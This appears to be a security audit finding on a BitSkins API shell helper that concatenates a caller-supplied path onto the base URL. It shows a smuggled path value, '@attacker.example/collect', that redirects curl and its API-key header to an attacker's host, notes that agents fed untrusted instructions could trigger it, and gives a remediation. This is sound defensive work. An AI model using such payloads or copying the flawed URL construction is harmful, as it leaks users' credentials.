T09 · Insecure Skill Coding Practices
- Location
scripts/bitskins-api.sh:26- Finding
API Key Disclosure Through Unvalidated URL Construction
- Content
View full analysis
[JSON_BODY]}" BODY="${3:-}" METHOD_UPPER=$(echo "$METHOD" | tr '[:lower:]' '[:upper:]') CURL_ARGS=( -s -X "$METHOD_UPPER" -H "x-apikey: $BITSKINS_API_KEY" -H "Content-Type: application/json" -H "Accept: application/json" -w "\n%{http_code}" "${BASE_URL}${PATH_ARG}" ) if [ -n "$BODY" ] && [ "$METHOD_UPPER" != "GET" ]; then CURL_ARGS+=(-d "$BODY") fi RESPONSE=$(curl "${CURL_ARGS[@]}") ``` ### Technical Analysis The script accepts a caller-controlled path and concatenates it directly with the trusted base URL: ```bash "${BASE_URL}${PATH_ARG}" ``` It does not verify that the supplied value starts with exactly one `/`, represents only a relative URL path, or leaves the URL authority unchanged. For example, a path argument of: ```text @attacker.example/collect ``` produces: ```text https://api.bitskins.com@attacker.example/collect ``` Under standard URL parsing rules, `api.bitskins.com` is interpreted as URL user information and `attacker.example` becomes the destination host. Because the script attaches the `x-apikey` header to the same request, `curl` sends the BitSkins API key to the attacker-controlled server. Shell quoting prevents ordinary shell command injection, but it does not prevent this URL-authority injection because the vulnerability occurs inside URL parsing. ### Attack Path 1. An attacker influences the path passed to the helper, potentially through untrusted instructions processed by an Agent. 2. The attacker supplies a value such as `@attacker.example/collect`. 3. The script constructs `https://api.bitskins.com@attacker.example/collect`. 4. `curl` resolves the actual destination as `attacker.example`. 5. The request includes `x-apikey:- Remediation
View remediation
&2 exit 1 ;; esac if [[ ! "$PATH_ARG" =~ ^/[A-Za-z0-9._~!$'\''()*+,;=:@%/-]*$ ]] || [[ "$PATH_ARG" == //* ]] || [[ "$PATH_ARG" == *\\* ]] || [[ "$PATH_ARG" == *"#"* ]]; then echo "Error: invalid API path." >&2 exit 1 fi REQUEST_URL="${BASE_URL}${PATH_ARG}" ``` For stronger defense in depth, parse `REQUEST_URL` using a URL-aware utility and assert immediately before execution that: - The scheme is `https`. - The hostname is exactly `api.bitskins.com`. - No username or password component is present. - The port is absent or explicitly approved. Authentication headers must never be added until these checks pass. ]]>
